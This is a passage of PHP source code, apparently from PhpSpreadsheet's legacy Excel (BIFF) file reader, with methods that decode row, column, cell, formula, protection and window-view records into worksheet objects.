readScenProtect(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; // bit: 0, mask 0x01; 1 = scenarios are protected $bool = (0x01 & self::getUInt2d($recordData, 0)) >> 0; $this->phpSheet->getProtection()->setScenarios((bool) $bool); } /** * OBJECTPROTECT. */ private function readObjectProtect(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; // bit: 0, mask 0x01; 1 = objects are protected $bool = (0x01 & self::getUInt2d($recordData, 0)) >> 0; $this->phpSheet->getProtection()->setObjects((bool) $bool); } /** * PASSWORD - Sheet protection (hashed) password (BIFF2 through BIFF8). */ private function readPassword(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; 16-bit hash value of password $password = strtoupper(dechex(self::getUInt2d($recordData, 0))); // the hashed password $this->phpSheet->getProtection()->setPassword($password, true); } } /** * Read DEFCOLWIDTH record. */ private function readDefColWidth(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; default column width $width = self::getUInt2d($recordData, 0); if ($width != 8) { $this->phpSheet->getDefaultColumnDimension()->setWidth($width); } } /** * Read COLINFO record. */ private function readColInfo(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; index to first column in range $firstColumnIndex = self::getUInt2d($recordData, 0); // offset: 2; size: 2; index to last column in range $lastColumnIndex = self::getUInt2d($recordData, 2); // offset: 4; size: 2; width of the column in 1/256 of the width of the zero character $width = self::getUInt2d($recordData, 4); // offset: 6; size: 2; index to XF record for default column formatting $xfIndex = self::getUInt2d($recordData, 6); // offset: 8; size: 2; option flags // bit: 0; mask: 0x0001; 1= columns are hidden $isHidden = (0x0001 & self::getUInt2d($recordData, 8)) >> 0; // bit: 10-8; mask: 0x0700; outline level of the columns (0 = no outline) $level = (0x0700 & self::getUInt2d($recordData, 8)) >> 8; // bit: 12; mask: 0x1000; 1 = collapsed $isCollapsed = (bool) ((0x1000 & self::getUInt2d($recordData, 8)) >> 12); // offset: 10; size: 2; not used for ($i = $firstColumnIndex + 1; $i <= $lastColumnIndex + 1; ++$i) { if ($lastColumnIndex == 255 || $lastColumnIndex == 256) { $this->phpSheet->getDefaultColumnDimension()->setWidth($width / 256); break; } $this->phpSheet->getColumnDimensionByColumn($i)->setWidth($width / 256); $this->phpSheet->getColumnDimensionByColumn($i)->setVisible(!$isHidden); $this->phpSheet->getColumnDimensionByColumn($i)->setOutlineLevel($level); $this->phpSheet->getColumnDimensionByColumn($i)->setCollapsed($isCollapsed); if (isset($this->mapCellXfIndex[$xfIndex])) { $this->phpSheet->getColumnDimensionByColumn($i)->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } } /** * ROW. * * This record contains the properties of a single row in a * sheet. Rows and cells in a sheet are divided into blocks * of 32 rows. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readRow(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; index of this row $r = self::getUInt2d($recordData, 0); // offset: 2; size: 2; index to column of the first cell which is described by a cell record // offset: 4; size: 2; index to column of the last cell which is described by a cell record, increased by 1 // offset: 6; size: 2; // bit: 14-0; mask: 0x7FFF; height of the row, in twips = 1/20 of a point $height = (0x7FFF & self::getUInt2d($recordData, 6)) >> 0; // bit: 15: mask: 0x8000; 0 = row has custom height; 1= row has default height $useDefaultHeight = (0x8000 & self::getUInt2d($recordData, 6)) >> 15; if (!$useDefaultHeight) { $this->phpSheet->getRowDimension($r + 1)->setRowHeight($height / 20); } // offset: 8; size: 2; not used // offset: 10; size: 2; not used in BIFF5-BIFF8 // offset: 12; size: 4; option flags and default row formatting // bit: 2-0: mask: 0x00000007; outline level of the row $level = (0x00000007 & self::getInt4d($recordData, 12)) >> 0; $this->phpSheet->getRowDimension($r + 1)->setOutlineLevel($level); // bit: 4; mask: 0x00000010; 1 = outline group start or ends here... and is collapsed $isCollapsed = (bool) ((0x00000010 & self::getInt4d($recordData, 12)) >> 4); $this->phpSheet->getRowDimension($r + 1)->setCollapsed($isCollapsed); // bit: 5; mask: 0x00000020; 1 = row is hidden $isHidden = (0x00000020 & self::getInt4d($recordData, 12)) >> 5; $this->phpSheet->getRowDimension($r + 1)->setVisible(!$isHidden); // bit: 7; mask: 0x00000080; 1 = row has explicit format $hasExplicitFormat = (0x00000080 & self::getInt4d($recordData, 12)) >> 7; // bit: 27-16; mask: 0x0FFF0000; only applies when hasExplicitFormat = 1; index to XF record $xfIndex = (0x0FFF0000 & self::getInt4d($recordData, 12)) >> 16; if ($hasExplicitFormat && isset($this->mapCellXfIndex[$xfIndex])) { $this->phpSheet->getRowDimension($r + 1)->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * Read RK record * This record represents a cell that contains an RK value * (encoded integer or floating-point value). If a * floating-point value cannot be encoded to an RK value, * a NUMBER record will be written. This record replaces the * record INTEGER written in BIFF2. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readRk(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getUInt2d($recordData, 0); // offset: 2; size: 2; index to column $column = self::getUInt2d($recordData, 2); $columnString = Coordinate::stringFromColumnIndex($column + 1); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; index to XF record $xfIndex = self::getUInt2d($recordData, 4); // offset: 6; size: 4; RK value $rknum = self::getInt4d($recordData, 6); $numValue = self::getIEEE754($rknum); $cell = $this->phpSheet->getCell($columnString . ($row + 1)); if (!$this->readDataOnly && isset($this->mapCellXfIndex[$xfIndex])) { // add style information $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } // add cell $cell->setValueExplicit($numValue, DataType::TYPE_NUMERIC); } } /** * Read LABELSST record * This record represents a cell that contains a string. It * replaces the LABEL record and RSTRING record used in * BIFF2-BIFF5. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readLabelSst(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getUInt2d($recordData, 0); // offset: 2; size: 2; index to column $column = self::getUInt2d($recordData, 2); $columnString = Coordinate::stringFromColumnIndex($column + 1); $cell = null; // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; index to XF record $xfIndex = self::getUInt2d($recordData, 4); // offset: 6; size: 4; index to SST record $index = self::getInt4d($recordData, 6); // add cell if (($fmtRuns = $this->sst[$index]['fmtRuns']) && !$this->readDataOnly) { // then we should treat as rich text $richText = new RichText(); $charPos = 0; $sstCount = count($this->sst[$index]['fmtRuns']); for ($i = 0; $i <= $sstCount; ++$i) { if (isset($fmtRuns[$i])) { $text = StringHelper::substring($this->sst[$index]['value'], $charPos, $fmtRuns[$i]['charPos'] - $charPos); $charPos = $fmtRuns[$i]['charPos']; } else { $text = StringHelper::substring($this->sst[$index]['value'], $charPos, StringHelper::countCharacters($this->sst[$index]['value'])); } if (StringHelper::countCharacters($text) > 0) { if ($i == 0) { // first text run, no style $richText->createText($text); } else { $textRun = $richText->createTextRun($text); if (isset($fmtRuns[$i - 1])) { if ($fmtRuns[$i - 1]['fontIndex'] < 4) { $fontIndex = $fmtRuns[$i - 1]['fontIndex']; } else { // this has to do with that index 4 is omitted in all BIFF versions for some stra nge reason // check the OpenOffice documentation of the FONT record $fontIndex = $fmtRuns[$i - 1]['fontIndex'] - 1; } if (array_key_exists($fontIndex, $this->objFonts) === false) { $fontIndex = count($this->objFonts) - 1; } $textRun->setFont(clone $this->objFonts[$fontIndex]); } } } } if ($this->readEmptyCells || trim($richText->getPlainText()) !== '') { $cell = $this->phpSheet->getCell($columnString . ($row + 1)); $cell->setValueExplicit($richText, DataType::TYPE_STRING); } } else { if ($this->readEmptyCells || trim($this->sst[$index]['value']) !== '') { $cell = $this->phpSheet->getCell($columnString . ($row + 1)); $cell->setValueExplicit($this->sst[$index]['value'], DataType::TYPE_STRING); } } if (!$this->readDataOnly && $cell !== null && isset($this->mapCellXfIndex[$xfIndex])) { // add style information $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * Read MULRK record * This record represents a cell range containing RK value * cells. All cells are located in the same row. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readMulRk(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getUInt2d($recordData, 0); // offset: 2; size: 2; index to first column $colFirst = self::getUInt2d($recordData, 2); // offset: var; size: 2; index to last column $colLast = self::getUInt2d($recordData, $length - 2); $columns = $colLast - $colFirst + 1; // offset within record data $offset = 4; for ($i = 1; $i <= $columns; ++$i) { $columnString = Coordinate::stringFromColumnIndex($colFirst + $i); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: var; size: 2; index to XF record $xfIndex = self::getUInt2d($recordData, $offset); // offset: var; size: 4; RK value $numValue = self::getIEEE754(self::getInt4d($recordData, $offset + 2)); $cell = $this->phpSheet->getCell($columnString . ($row + 1)); if (!$this->readDataOnly && isset($this->mapCellXfIndex[$xfIndex])) { // add style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } // add cell value $cell->setValueExplicit($numValue, DataType::TYPE_NUMERIC); } $offset += 6; } } /** * Read NUMBER record * This record represents a cell that contains a * floating-point value. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readNumber(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getUInt2d($recordData, 0); // offset: 2; size 2; index to column $column = self::getUInt2d($recordData, 2); $columnString = Coordinate::stringFromColumnIndex($column + 1); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset 4; size: 2; index to XF record $xfIndex = self::getUInt2d($recordData, 4); $numValue = self::extractNumber(substr($recordData, 6, 8)); $cell = $this->phpSheet->getCell($columnString . ($row + 1)); if (!$this->readDataOnly && isset($this->mapCellXfIndex[$xfIndex])) { // add cell style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } // add cell value $cell->setValueExplicit($numValue, DataType::TYPE_NUMERIC); } } /** * Read FORMULA record + perhaps a following STRING record if formula result is a string * This record contains the token array and the result of a * formula cell. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readFormula(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; row index $row = self::getUInt2d($recordData, 0); // offset: 2; size: 2; col index $column = self::getUInt2d($recordData, 2); $columnString = Coordinate::stringFromColumnIndex($column + 1); // offset: 20: size: variable; formula structure $formulaStructure = substr($recordData, 20); // offset: 14: size: 2; option flags, recalculate always, recalculate on open etc. $options = self::getUInt2d($recordData, 14); // bit: 0; mask: 0x0001; 1 = recalculate always // bit: 1; mask: 0x0002; 1 = calculate on open // bit: 2; mask: 0x0008; 1 = part of a shared formula $isPartOfSharedFormula = (bool) (0x0008 & $options); // WARNING: // We can apparently not rely on $isPartOfSharedFormula. Even when $isPartOfSharedFormula = true // the formula data may be ordinary formula data, therefore we need to check // explicitly for the tExp token (0x01) $isPartOfSharedFormula = $isPartOfSharedFormula && ord($formulaStructure[2]) == 0x01; if ($isPartOfSharedFormula) { // part of shared formula which means there will be a formula with a tExp token and nothing else // get the base cell, grab tExp token $baseRow = self::getUInt2d($formulaStructure, 3); $baseCol = self::getUInt2d($formulaStructure, 5); $this->baseCell = Coordinate::stringFromColumnIndex($baseCol + 1) . ($baseRow + 1); } // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { if ($isPartOfSharedFormula) { // formula is added to this cell after the sheet has been read $this->sharedFormulaParts[$columnString . ($row + 1)] = $this->baseCell; } // offset: 16: size: 4; not used // offset: 4; size: 2; XF index $xfIndex = self::getUInt2d($recordData, 4); // offset: 6; size: 8; result of the formula if ((ord($recordData[6]) == 0) && (ord($recordData[12]) == 255) && (ord($recordData[13]) == 255)) { // String formula. Result follows in appended STRING record $dataType = DataType::TYPE_STRING; // read possible SHAREDFMLA record $code = self::getUInt2d($this->data, $this->pos); if ($code == self::XLS_TYPE_SHAREDFMLA) { $this->readSharedFmla(); } // read STRING record $value = $this->readString(); } elseif ( (ord($recordData[6]) == 1) && (ord($recordData[12]) == 255) && (ord($recordData[13]) == 255) ) { // Boolean formula. Result is in +2; 0=false, 1=true $dataType = DataType::TYPE_BOOL; $value = (bool) ord($recordData[8]); } elseif ( (ord($recordData[6]) == 2) && (ord($recordData[12]) == 255) && (ord($recordData[13]) == 255) ) { // Error formula. Error code is in +2 $dataType = DataType::TYPE_ERROR; $value = Xls\ErrorCode::lookup(ord($recordData[8])); } elseif ( (ord($recordData[6]) == 3) && (ord($recordData[12]) == 255) && (ord($recordData[13]) == 255) ) { // Formula result is a null string $dataType = DataType::TYPE_NULL; $value = ''; } else { // forumla result is a number, first 14 bytes like _NUMBER record $dataType = DataType::TYPE_NUMERIC; $value = self::extractNumber(substr($recordData, 6, 8)); } $cell = $this->phpSheet->getCell($columnString . ($row + 1)); if (!$this->readDataOnly && isset($this->mapCellXfIndex[$xfIndex])) { // add cell style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } // store the formula if (!$isPartOfSharedFormula) { // not part of shared formula // add cell value. If we can read formula, populate with formula, otherwise just used cached value try { if ($this->version != self::XLS_BIFF8) { throw new Exception('Not BIFF8. Can only read BIFF8 formulas'); } $formula = $this->getFormulaFromStructure($formulaStructure); // get formula in human language $cell->setValueExplicit('=' . $formula, DataType::TYPE_FORMULA); } catch (PhpSpreadsheetException) { $cell->setValueExplicit($value, $dataType); } } else { if ($this->version == self::XLS_BIFF8) { // do nothing at this point, formula id added later in the code } else { $cell->setValueExplicit($value, $dataType); } } // store the cached calculated value $cell->setCalculatedValue($value, $dataType === DataType::TYPE_NUMERIC); } } /** * Read a SHAREDFMLA record. This function just stores the binary shared formula in the reader, * which usually contains relative references. * These will be used to construct the formula in each shared formula part after the sheet is read. */ private function readSharedFmla(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0, size: 6; cell range address of the area used by the shared formula, not used for anything //$cellRange = substr($recordData, 0, 6); //$cellRange = $this->readBIFF5CellRangeAddressFixed($cellRange); // note: even BIFF8 uses BIFF5 syntax // offset: 6, size: 1; not used // offset: 7, size: 1; number of existing FORMULA records for this shared formula //$no = ord($recordData[7]); // offset: 8, size: var; Binary token array of the shared formula $formula = substr($recordData, 8); // at this point we only store the shared formula for later use $this->sharedFormulas[$this->baseCell] = $formula; } /** * Read a STRING record from current stream position and advance the stream pointer to next record * This record is used for storing result from FORMULA record when it is a string, and * it occurs directly after the FORMULA record. * * @return string The string contents as UTF-8 */ private function readString(): string { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong($recordData); $value = $string['value']; } else { $string = $this->readByteStringLong($recordData); $value = $string['value']; } return $value; } /** * Read BOOLERR record * This record represents a Boolean value or error value * cell. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readBoolErr(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; row index $row = self::getUInt2d($recordData, 0); // offset: 2; size: 2; column index $column = self::getUInt2d($recordData, 2); $columnString = Coordinate::stringFromColumnIndex($column + 1); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; index to XF record $xfIndex = self::getUInt2d($recordData, 4); // offset: 6; size: 1; the boolean value or error value $boolErr = ord($recordData[6]); // offset: 7; size: 1; 0=boolean; 1=error $isError = ord($recordData[7]); $cell = $this->phpSheet->getCell($columnString . ($row + 1)); switch ($isError) { case 0: // boolean $value = (bool) $boolErr; // add cell value $cell->setValueExplicit($value, DataType::TYPE_BOOL); break; case 1: // error type $value = Xls\ErrorCode::lookup($boolErr); // add cell value $cell->setValueExplicit($value, DataType::TYPE_ERROR); break; } if (!$this->readDataOnly && isset($this->mapCellXfIndex[$xfIndex])) { // add cell style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * Read MULBLANK record * This record represents a cell range of empty cells. All * cells are located in the same row. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readMulBlank(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getUInt2d($recordData, 0); // offset: 2; size: 2; index to first column $fc = self::getUInt2d($recordData, 2); // offset: 4; size: 2 x nc; list of indexes to XF records // add style information if (!$this->readDataOnly && $this->readEmptyCells) { for ($i = 0; $i < $length / 2 - 3; ++$i) { $columnString = Coordinate::stringFromColumnIndex($fc + $i + 1); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { $xfIndex = self::getUInt2d($recordData, 4 + 2 * $i); if (isset($this->mapCellXfIndex[$xfIndex])) { $this->phpSheet->getCell($columnString . ($row + 1))->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } } // offset: 6; size 2; index to last column (not needed) } /** * Read LABEL record * This record represents a cell that contains a string. In * BIFF8 it is usually replaced by the LABELSST record. * Excel still uses this record, if it copies unformatted * text cells to the clipboard. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readLabel(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; index to row $row = self::getUInt2d($recordData, 0); // offset: 2; size: 2; index to column $column = self::getUInt2d($recordData, 2); $columnString = Coordinate::stringFromColumnIndex($column + 1); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; XF index $xfIndex = self::getUInt2d($recordData, 4); // add cell value // todo: what if string is very long? continue record if ($this->version == self::XLS_BIFF8) { $string = self::readUnicodeStringLong(substr($recordData, 6)); $value = $string['value']; } else { $string = $this->readByteStringLong(substr($recordData, 6)); $value = $string['value']; } if ($this->readEmptyCells || trim($value) !== '') { $cell = $this->phpSheet->getCell($columnString . ($row + 1)); $cell->setValueExplicit($value, DataType::TYPE_STRING); if (!$this->readDataOnly && isset($this->mapCellXfIndex[$xfIndex])) { // add cell style $cell->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } } /** * Read BLANK record. */ private function readBlank(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; row index $row = self::getUInt2d($recordData, 0); // offset: 2; size: 2; col index $col = self::getUInt2d($recordData, 2); $columnString = Coordinate::stringFromColumnIndex($col + 1); // Read cell? if (($this->getReadFilter() !== null) && $this->getReadFilter()->readCell($columnString, $row + 1, $this->phpSheet->getTitle())) { // offset: 4; size: 2; XF index $xfIndex = self::getUInt2d($recordData, 4); // add style information if (!$this->readDataOnly && $this->readEmptyCells && isset($this->mapCellXfIndex[$xfIndex])) { $this->phpSheet->getCell($columnString . ($row + 1))->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * Read MSODRAWING record. */ private function readMsoDrawing(): void { //$length = self::getUInt2d($this->data, $this->pos + 2); // get spliced record data $splicedRecordData = $this->getSplicedRecordData(); $recordData = $splicedRecordData['recordData']; $this->drawingData .= $recordData; } /** * Read OBJ record. */ private function readObj(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly || $this->version != self::XLS_BIFF8) { return; } // recordData consists of an array of subrecords looking like this: // ft: 2 bytes; ftCmo type (0x15) // cb: 2 bytes; size in bytes of ftCmo data // ot: 2 bytes; Object Type // id: 2 bytes; Object id number // grbit: 2 bytes; Option Flags // data: var; subrecord data // for now, we are just interested in the second subrecord containing the object type $ftCmoType = self::getUInt2d($recordData, 0); $cbCmoSize = self::getUInt2d($recordData, 2); $otObjType = self::getUInt2d($recordData, 4); $idObjID = self::getUInt2d($recordData, 6); $grbitOpts = self::getUInt2d($recordData, 6); $this->objs[] = [ 'ftCmoType' => $ftCmoType, 'cbCmoSize' => $cbCmoSize, 'otObjType' => $otObjType, 'idObjID' => $idObjID, 'grbitOpts' => $grbitOpts, ]; $this->textObjRef = $idObjID; } /** * Read WINDOW2 record. */ private function readWindow2(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; option flags $options = self::getUInt2d($recordData, 0); // offset: 2; size: 2; index to first visible row //$firstVisibleRow = self::getUInt2d($recordData, 2); // offset: 4; size: 2; index to first visible colum //$firstVisibleColumn = self::getUInt2d($recordData, 4); $zoomscaleInPageBreakPreview = 0; $zoomscaleInNormalView = 0; if ($this->version === self::XLS_BIFF8) { // offset: 8; size: 2; not used // offset: 10; size: 2; cached magnification factor in page break preview (in percent); 0 = Default (60%) // offset: 12; size: 2; cached magnification factor in normal view (in percent); 0 = Default (100%) // offset: 14; size: 4; not used if (!isset($recordData[10])) { $zoomscaleInPageBreakPreview = 0; } else { $zoomscaleInPageBreakPreview = self::getUInt2d($recordData, 10); } if ($zoomscaleInPageBreakPreview === 0) { $zoomscaleInPageBreakPreview = 60; } if (!isset($recordData[12])) { $zoomscaleInNormalView = 0; } else { $zoomscaleInNormalView = self::getUInt2d($recordData, 12); } if ($zoomscaleInNormalView === 0) { $zoomscaleInNormalView = 100; } } // bit: 1; mask: 0x0002; 0 = do not show gridlines, 1 = show gridlines $showGridlines = (bool) ((0x0002 & $options) >> 1); $this->phpSheet->setShowGridlines($showGridlines); // bit: 2; mask: 0x0004; 0 = do not show headers, 1 = show headers $showRowColHeaders = (bool) ((0x0004 & $options) >> 2); $this->phpSheet->setShowRowColHeaders($showRowColHeaders); // bit: 3; mask: 0x0008; 0 = panes are not frozen, 1 = panes are frozen $this->frozen = (bool) ((0x0008 & $options) >> 3); // bit: 6; mask: 0x0040; 0 = columns from left to right, 1 = columns from right to left $this->phpSheet->setRightToLeft((bool) ((0x0040 & $options) >> 6)); // bit: 10; mask: 0x0400; 0 = sheet not active, 1 = sheet active $isActive = (bool) ((0x0400 & $options) >> 10); if ($isActive) { $this->spreadsheet->setActiveSheetIndex($this->spreadsheet->getIndex($this->phpSheet)); $this->activeSheetSet = true; } // bit: 11; mask: 0x0800; 0 = normal view, 1 = page break view $isPageBreakPreview = (bool) ((0x0800 & $options) >> 11); //FIXME: set $firstVisibleRow and $firstVisibleColumn if ($this->phpSheet->getSheetView()->getView() !== SheetView::SHEETVIEW_PAGE_LAYOUT) { //NOTE: this setting is inferior to page layout view(Excel2007-) $view = $isPageBreakPreview ? SheetView::SHEETVIEW_PAGE_BREAK_PREVIEW : SheetView::SHEETVIEW_NORMAL; $this->phpSheet->getSheetView()->setView($view); if ($this->version === self::XLS_BIFF8) { $zoomScale = $isPageBreakPreview ? $zoomscaleInPageBreakPreview : $zoomscaleInNormalView; $this->phpSheet->getSheetView()->setZoomScale($zoomScale); $this->phpSheet->getSheetView()->setZoomScaleNormal($zoomscaleInNormalView); } } } /** * Read PLV Record(Created by Excel2007 or upper). */ private function readPageLayoutView(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; rt //->ignore //$rt = self::getUInt2d($recordData, 0); // offset: 2; size: 2; grbitfr //->ignore //$grbitFrt = self::getUInt2d($recordData, 2); // offset: 4; size: 8; reserved //->ignore // offset: 12; size 2; zoom scale $wScalePLV = self::getUInt2d($recordData, 12); // offset: 14; size 2; grbit $grbit = self::getUInt2d($recordData, 14); // decomprise grbit $fPageLayoutView = $grbit & 0x01; //$fRulerVisible = ($grbit >> 1) & 0x01; //no support //$fWhitespaceHidden = ($grbit >> 3) & 0x01; //no support if ($fPageLayoutView === 1) { $this->phpSheet->getSheetView()->setView(SheetView::SHEETVIEW_PAGE_LAYOUT); $this->phpSheet->getSheetView()->setZoomScale($wScalePLV); //set by Excel2007 only if SHEETVIEW_PAGE_LAYOUT } //otherwise, we cannot know whether SHEETVIEW_PAGE_LAYOUT or SHEETVIEW_PAGE_BREAK_PREVIEW. } /** * Read SCL record. */ private function readScl(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; numerator of the view magnification $numerator = self::getUInt2d($recordData, 0); // offset: 2; size: 2; numerator of the view magnification $denumerator = self::getUInt2d($recordData, 2); // set the zoom scale (in percent) $this->phpSheet->getSheetView()->setZoomScale($numerator * 100 / $denumerator); } /** * Read PANE record. */ private function readPane(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; position of vertical split $px = self::getUInt2d($recordData, 0); // offset: 2; size: 2; position of horizontal split $py = self::getUInt2d($recordData, 2); // offset: 4; size: 2; top most visible row in the bottom pane $rwTop = self::getUInt2d($recordData, 4); // offset: 6; size: 2; first visible left column in the right pane $colLeft = self::getUInt2d($recordData, 6); if ($this->frozen) { // frozen panes $cell = Coordinate::stringFromColumnIndex($px + 1) . ($py + 1); $topLeftCell = Coordinate::stringFromColumnIndex($colLeft + 1) . ($rwTop + 1); $this->phpSheet->freezePane($cell, $topLeftCell); } // unfrozen panes; split windows; not supported by PhpSpreadsheet core } } /** * Read SELECTION record. There is one such record for each pane in the sheet. */ private function readSelection(): void { $length = self::getUInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 1; pane identifier //$paneId = ord($recordData[0]); // offset: 1; size: 2; index to row of the active cell //$r = self::getUInt2d($recordData, 1); // offset: 3; size: 2; index to column of the active cell //$c = self::getUInt2d($recordData, 3); // offset: 5; size: 2; index into the following cell range list to the // entry that contains the active cell //$index = self::getUInt2d($recordData, 5); // offset: 7; size: var; cell range address list containing all selected cell ranges $data = substr($recordData, 7); $cellRangeAddressList = $this->readBIFF5CellRangeAddressList($data); // note: also BIFF8 uses BIFF5 syntax $selectedCells = $cellRangeAddressList['cellRangeAddresses'][0]; // first row '1' + last row '16384' indicates that full column is selected (apparently also in BIFF8!) if (preg_match('/^([A-Z]+1\:[A-Z]+)16384$/', $selectedCells)) { $selectedCells = (string) preg_replace('/^([A-Z]+1\:[A-Z]+)16384$/', '${1}1048576', $selectedCells); } // first row '1' + last row '65536' indicates that full column is selected if (preg_match('/^([A-Z]+1\:[A-Z]+)65536$/', $selectedCells)) { $selectedCells = (string) preg_replace('/^([A-Z]+1\:[A-Z]+)65536$/', '${1}1048576', $selectedCells); } // first column 'A' + last column 'IV' indicates that full row is selected if (preg_match('/^(A\d+\:)IV(\d+)$/', $selectedCells)) { $selectedCells = (string) preg_replace('/^(A\d+\:)IV(\d+)$/', '${1}XFD${2}', $selectedCells); } $this->phpSheet->setSelectedCells($selectedCells); } } private function includeCellRangeFiltered(string $cellRangeAddress): bool { $includeCellRange = true; if ($this->getReadFilter() !== null) { $includeCellRange = false; $rangeBoundaries = Coordinate::getRangeBoundaries($cellRangeAddress); ++$rangeBoundaries[1][0]; for ($row = $rangeBoundaries[0][1]; $row <= $rangeBoundaries[1][1]; ++$row) { for ($column = $rangeBoundaries[0][0]; $column != 